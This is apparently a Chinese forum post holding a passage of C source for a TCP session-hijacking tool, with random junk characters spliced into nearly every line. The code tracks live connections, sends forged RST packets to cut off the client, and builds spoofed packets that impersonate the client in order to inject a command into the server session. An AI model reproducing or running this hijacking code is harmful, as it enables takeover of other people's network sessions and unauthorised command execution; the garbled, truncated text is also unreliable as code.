- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
( V# v* M' ?3 h7 K8 O+ P //reset action flag
8 T" V7 n) P' B( G7 ~0 w7 z+ h# ~ ResetActionAllFlag();
0 S) q, `# ]5 I% H4 {$ S/ O }
/ f: x8 t( C0 S3 b6 V //start hijack ; Q1 C+ P0 T8 {, v: e' X
else if(g_dwAction == ACTION_HIJACK)
! L1 W8 h% G) i { 4 f1 g+ u& ~% A
//send rst packet to client , b |) K2 o: V% e. J, Y) g5 ~2 W% D
SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); ! x- J: L4 v1 ?% ], i
//send hijack packet to client
0 Z/ q7 J" o) N3 H* i7 q3 Z, m. s/ p SendHiJackPacket(pTCPPacket);
: p0 v, t2 h0 { //reset action flag ! C; z+ x1 J" t
ResetActionAllFlag(); 7 e6 y, s, D( C2 C
} 9 g* }) Q5 W. s5 e
}
( v7 n& c8 D) n( r8 ` //show the tcp data
1 a ~" d0 V3 m0 j$ r if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) 9 }' e4 q/ e! f4 r8 j( |5 }6 F4 X
{ % j# ^- ]8 l$ @9 p. ~
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 5 {: B, s- i& a& K0 e
//暂不考虑IP、TCP头不是20字节的情况
# Y# m4 `) v2 k: o! p7 x! _ //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 3 k# [) J1 b5 _ C
pStr = (char *)pTCPPacket + 54;
1 i: d* m% k; {; W% @2 Z4 _ for(i=0; i }
1 d+ A8 T* m- ?+ e/ F" C }
' D, s$ { G; j3 x1 @0 M //debug output . ]5 T8 ^+ J+ C+ R! x; }
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 2 S$ x1 z7 `' a' ~" Y
}//end of analyse packets while
3 t# t ~, Q; O; m) Y }//end of recv packets while 6 A; v' {* \; W+ |0 F' D
PacketFreePacket(lpRecvPacket);
' B" R5 I: F3 v0 [1 A) C. o return 0;
9 Y# \& p* G+ q) \}
5 Y9 M4 Y4 \! `% g
( K9 v9 F% \; c& F& ?3 i; P) r/ f8 C
, N7 I/ H' r x* ?//
! f3 ]! ~' H* A( c* K//功能:操作记录所有连接信息的单向链表 * m( P' P" M& N
//
9 i) a9 [% b3 i: ~DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, 1 `6 p6 @. [) l1 C3 k
USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
" q/ x. f. S8 h. U( P{ ) }+ w1 M; b7 p* ]) J: H2 _! ]
PCONNINFO pNew, pTmp; + e8 o/ N, P: X5 M2 {. c
! A* f# R7 c' w/ y( p; Z
pTmp = g_pConnHead;
# z# _0 W( t) v; {6 N while(pTmp)
) F7 J/ B) V: w4 m0 T% }7 U/ N { " o( A W) y& \+ S" Q
if(pTmp->bActive)
: R1 c; b K4 P9 X( s9 V r { - f, @2 O$ M7 z* D! D* @
//found it
. z4 [0 Y% H9 d2 w$ }% D$ }8 P2 } if( (pTmp->dwServerIP == dwServerIP) && ) y' F" f+ }! Q3 ~2 I5 u
(pTmp->uServerPort == uServerPort) && $ u9 W9 F& l% n* {' U9 S) ^+ \
(pTmp->dwClientIP == dwClientIP) && 6 p5 h. L* ^- t0 Y9 ?* s! n
(pTmp->uClientPort == uClientPort) )
6 j; ?- g$ k* c: ?$ g { 0 q+ Q# W. ?3 }
if(bDelete)
/ ^( d! S6 `9 ?8 S5 J {
7 U2 }/ N$ Z q" Y; ~; C pTmp->bActive = FALSE;
, L7 z6 L% I9 }/ p! I4 u' b0 C9 N return 0;
: V" ~2 }- k# w7 ^ }
2 Z/ i. ?! ^: X( ~ else return pTmp->ident;
* ]1 O7 L U( a4 r3 M) C) o }
6 X' a _3 L3 ?5 a* h5 w* ~7 T( o& O } 1 {) n0 Z( ~- f6 @
pTmp = pTmp->Next; 0 ^, p/ U0 W- \
}
2 p" N8 U3 v0 x, k //not found, create new node : Z$ g1 e1 i7 d8 u; D2 ~
if( (!pTmp) && (!bDelete) && (bAddNew) ) ! R3 n; d$ [0 i! z
{ ! A6 m9 O' i C: S
//search unactive note
' i, P6 e9 E, U) m* k1 T2 s pTmp = g_pConnHead; ! D% W8 O& l3 r% k; K
while(pTmp)
8 q( N% w2 l5 x# L7 G5 Y( f9 W { 4 b: F, e4 F) `* _' t
if(!pTmp->bActive) break; ( }- l4 x" N6 X6 ~
pTmp = pTmp->Next; 9 H7 {7 r) F; w; y4 P
} " ~) Q+ y+ \8 A4 |8 P8 t P
//found a unactive node , _- s; v3 e, O
if(pTmp) 0 X5 I9 K2 M$ \9 d7 [+ ]& o
{
5 w# R" d! F! P0 j pTmp->dwServerIP = dwServerIP; 4 g6 t. y+ E6 @0 J
pTmp->uServerPort = uServerPort;
p: L+ l" Z" B6 W- d+ }# p* [ pTmp->dwClientIP = dwClientIP;
6 O* Y( ^, ` X" d6 K pTmp->uClientPort = uClientPort; ! T+ v" k7 N1 ?( G- B K
pTmp->bActive = TRUE; - W3 a. y4 R$ d
return pTmp->ident; 1 u4 ^9 O; E0 V) P! L* N
}
, K1 {; T* T1 d5 f% b; D$ E: d8 C //not found,create new node
" I2 l! Y2 K7 X8 v2 X, {5 D% m5 d1 n pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); / ~- e9 i! i* W! }/ `# m
if(!pNew) 0 h8 l8 A8 L5 {1 W. k( i
{ 1 m* Z2 w) B" j' U- e
printf("malloc for link node error:%d\n", GetLastError());
4 U9 x4 u! u% B9 b W9 e9 W# ` return 0;
- V( C7 P2 T4 x- y! ?% O }
9 E" D# s! {+ K* ~5 Y& W //fill the struct
! o6 x% I; Z& X% ~4 L% e( Y8 t; M: R pNew->bActive = TRUE;
5 s9 ^. k6 `. d; D* d7 l3 W U pNew->dwServerIP = dwServerIP; * W! A6 f( A6 p* v) p+ w& f+ o
pNew->uServerPort = uServerPort;
! B1 h# @: `; I* T. C pNew->dwClientIP = dwClientIP;
+ J- k3 O. l4 Q3 s$ L pNew->uClientPort = uClientPort; 1 C L! e t* x1 H* g( T9 d% X
pNew->ident = ++g_ident; , D- w: p0 w! b5 T* f5 l
pNew->Next = NULL; $ l) ~ q, c5 I4 q
//add new node to link , F9 T0 v7 W M- e$ m" T4 R
if(!g_pConnHead) ( |4 @% K- Z5 G6 k% p5 Z
g_pConnHead = g_pConnLast = pNew; $ g% E; [0 K7 Y. e+ P6 H1 q
else # I r; |' n' d
{
' L3 B0 C9 R7 d- L g_pConnLast->Next = pNew; 3 u {# O% p) Q0 D/ h$ {! Y# y% w7 B
g_pConnLast = pNew;
& t( z1 ^+ u8 q% E# j0 J }
" c j' B+ u; S' G6 M4 l return pNew->ident; : C% K; D. \: A9 l
} ( q7 f0 d: v/ r/ }
return 0; % A) _+ W2 I5 x7 h: C; h6 F
} + j+ ^" [0 X* K) X& K
9 g7 X* O$ e# V% Z+ P3 v4 W ]1 H8 {
//
+ J' K9 a+ [2 [: J. E: J" E//功能:判断一个数据包是不是只有ACK标志 # ] N$ B" q/ C o Y9 [. }
//
5 ]8 D1 Z+ y- Q( b: K0 [; XBOOL IsACKPacket(unsigned char flag)
% @/ z* B( a; w( T7 S& s- q. \4 \/ F9 C{ " ?4 G5 m5 p' t/ i6 q) U6 x$ e$ _
int i, j=1; - _+ j6 z2 {5 O2 r# ?
for(i=0 ; i<4; i++) . w2 ]; R% q8 N [) i
{ , d: G4 ^3 |& O
if(flag & j) return FALSE;
2 y: I$ m) k3 {/ Y8 P j <<= 1; " g3 D0 T4 e# Y6 e7 J* f
} , H. I& I2 W# G. i& C8 O
if(!(flag & 0x10)) return FALSE;//is ack?
' W9 v) R! f& _3 b% [, i0 V% ], F if(flag & 0x20) return FALSE;
6 M- s! u7 m+ m9 n# {* r3 i& f z return TRUE; 3 n9 c4 x$ u: W$ c+ R% i" H0 Q, G7 V
}
# j1 `7 X' U I- b7 f/ E. O& w; o' n0 v1 M) ]
//
) a8 ?; s! M$ ?* G& E) i Z//功能:伪装成Client给Server发送数据包
* A! n$ c( \- o( b- Z) i; Q//
4 c. m( O1 e5 IBOOL SendHiJackPacket(PTCPPACKET pTempletPacket) 3 t( y2 a2 U5 g: Z* x
{ & r, \7 W5 p/ j, b1 A8 u. @. ?
. Y h0 i7 J4 I. w( B
char szBuff[1520];
% w* F" ~+ C. I5 w2 V/ C9 ` PSDHDR psdhdr; ) P; ?1 H; C; E/ ?2 t) V
PTCPPACKET pHiJackPacket = NULL;
1 M# D! A7 [/ c BOOL bRet = FALSE; 4 J3 z1 c( `9 S3 y5 q7 t. s
; L3 e; E0 ]* Y( ^& b
__try - ~6 o( s! M: t
{ 6 n- u& N4 D; C: o: v( L8 }
// " ?6 F$ j. F0 W ]
if(!g_pCurrCtrlConn) __leave;
^. F; G N4 N8 X1 P" M; u //allocate memory for hijack packet
4 k- I/ T3 p) U2 w' w! p pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
) C) m% l% k( T5 c' ] Y if(!pHiJackPacket) / i0 O: e! t/ }! T$ C
{
3 G! ~4 S$ A9 D( H, @( W+ K. T( d9 G" ^ printf("malloc error:%d\n", GetLastError()); # ~4 ]& ^3 h9 ` u! M( W
__leave;
, r' T$ K( Q: B) Z* B }
$ ^" g7 |+ m/ J N memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); ' v% Q+ }* h. q2 b( D, B* G( @# X
//-------------- modify the packet ---------------// % t; g$ t. M/ `: m! U
//modify ethernet head $ |" N2 o% d6 s: F/ F, n$ v0 |
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); $ Z& K% u h/ T( e1 V6 g
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
3 |& G6 y" L4 N" u //modify ip head , u" h& z: C- t4 m% N5 I
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
/ Y1 O4 Y1 Y/ P: S+ {' m pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
# o: v2 `$ ~& C# P7 n pHiJackPacket->iphdr.ident += 1;//标识加1
3 A& u4 I! ]6 d' L/ |* j pHiJackPacket->iphdr.checksum = 0; 3 }5 u- T3 [) z
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
' q: q0 [/ _0 r8 X8 s pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址 ) v: ?1 W) }& l9 K
//modify tcp head
; m3 I7 ]% E9 _/ w4 i pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port ) Q: h$ R8 H) Q
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
9 x8 Q+ @, {- `" K pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); $ j* D# R& U" ?9 z. Z) @
pHiJackPacket->tcphdr.th_flag = 0x18;// PA : R, L- a* {3 C+ a
pHiJackPacket->tcphdr.th_sum = 0; 9 T. E3 ]) y/ ?7 k3 M
pHiJackPacket->tcphdr.th_win = 0x3F44; . |. r% m0 }$ o4 a' n* J
//fill tcp psd head 4 b7 }2 [6 P6 W# g, D' C
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; ! q9 z3 f8 d& X, ^' n- O9 U
psdhdr.daddr = pHiJackPacket->iphdr.destIP; * X* |9 K% d0 d# D) m# t
psdhdr.mbz = 0;
) `; {6 P7 w7 }! P |0 d psdhdr.ptcl = IPPROTO_TCP;
+ N( m2 Y9 w$ _ psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len ' D/ t. f( a- d5 |0 t1 D
//calculate tcp checksum
9 s% G; o' w" O9 E3 K# p7 t" | memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); ! i) ?7 ]: D) ~9 `6 Z9 L# Y8 x* F E8 F
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
' a+ m3 S9 O% t( z$ i, j% z8 d memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
( t3 q9 w# j% ^8 F w' S, u( Z/ l pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
% Q, m$ z+ H$ c8 C5 n! d1 j: l1 s/ x //calculate IP checksum - N, h5 k$ x7 I) W; x6 G
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); ; P5 J. ~) X8 z2 ^. O; u" e
//fill send buffer
! B1 P- h3 L0 G# i memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
5 w9 z5 z+ b$ M, Q$ F5 q7 _ memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); 3 y5 b+ _+ _9 c3 E& p0 v0 b/ K
memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 3 h' w# }: b5 w3 T# `. ]' ?, P
memset(g_lpSendPacket->Buffer, 0, 1514); ( ^/ z, t+ `. P) z
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); * w, q O2 s( v
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) 5 W6 @: t. `& i4 y h. ]+ A% K
{
: |% E+ i: n' U$ e printf("Error sending the hijack packets!\n");
9 A: l7 n* a; a- _4 O/ M& v5 h __leave; $ U+ k1 r3 Q) p J' {* c
} 6 [8 b- |. @! i
else printf("Send hijack packet ok!\n"); / ], y+ ?- L7 l5 ?
bRet = TRUE;
) {2 N& j% b; m3 h) O* O' O4 ] } |
|